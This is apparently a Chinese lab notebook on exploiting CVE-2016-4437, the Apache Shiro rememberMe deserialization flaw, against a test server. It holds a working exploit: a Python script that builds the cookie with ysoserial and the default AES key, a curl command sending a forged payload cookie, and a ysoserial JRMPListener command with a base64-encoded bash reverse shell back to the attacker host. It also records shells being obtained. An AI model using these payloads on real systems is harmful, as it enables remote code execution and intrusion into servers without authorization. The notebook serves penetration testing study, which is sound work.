CVE-2016-4437
服务器:192.168.43.127
攻击机:192.168.43.149
shiro有记住密码的功能,密码是一段存储的cookie,其中shiro记住密码,功能就是下次登录不用再输入密码了,走了以下流程 反序列化-base64-aes加密,可以伪造一个带有bash反弹shell的cookie,流程暂定,还需要再次确认。
http://192.168.43.127:8080
样子
特征
burp-shiro插件也检测出来了key
(1)使用现成的工具,一键利用,反弹shell
工具下载链接
目测dnslog可以成功,其他都不行
无需选择,自动跑
反弹shell,在kali机开启监听
kali接收到shell
(2)使用反序列化,暂时不太成功,暂时拿不到反弹的shell,正在反思原因,反思后,问题解决,使用CommonsCollections6
发送payload,200成功
弹回来shell
发送cookie的curl方法,虽然是405,也可以弹回来shell
实际测试,即使不加/doLogin,直接给端口发也可以成功
curl -H “Cookie:rememberMe=dX3OOTh9SgeaquQwE0rhN5uE9GvMyuGHY212yGd+WfCLN2Wh7tj2bsFbYr4bFbxrQkuqNP8EKOuVImFxBSc+wdNP3jZprzQESs2rsfYt+EoIZ1PVES9ef43sC4CgC5hJXPUAVq2OWXmv+f6Nd1UV7AH8wtuN0frTWF1f6188Te3gQ5QZKAi3k5PF9RAFQMG5xWBhxr4UR/dX+aMZdcc4z5SdjoUX9qlGg3lnnUSjeAA+JT4akLH2QR7TTjYUu6XyDzOXLfgoZNzb1oVcj2bPDPZOguWdRfQ9j6lFa3TauxBUhx3qnUaixfo94hvNWITOE9EkC842B83IPEFAb4/t/CmJGJ7EiIv+RIjdE8EssPgtNZbuptdXKYkCMGmtDW4+i3Aa+pZ/enAJhTlOoJ6gIQ==” -I http://192.168.43.127:8080/doLogin
shiro.py的源码
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("encode_rememberMe={0}".format(payload.decode()))
错误示范
kail使用ysoserial启一个1099端口
那一段是bash反弹shell经过base64加密的代码,但是CommonsCollections4无法成功
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzE5Mi4xNjguNDMuMTQ5Lzk5OTkgMD4mMQo=}|{base64,-d}|{bash,-i}”
(1)https://xz.aliyun.com/t/9488 #反弹shell的其他形式
(2) https://blog.csdn.net/m0_48520508/article/details/107770264?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162079768016780269831639%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=162079768016780269831639&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-3-107770264.first_rank_v2_pc_rank_v29&utm_term=cve-2016-4437 #maven和ysoserial配置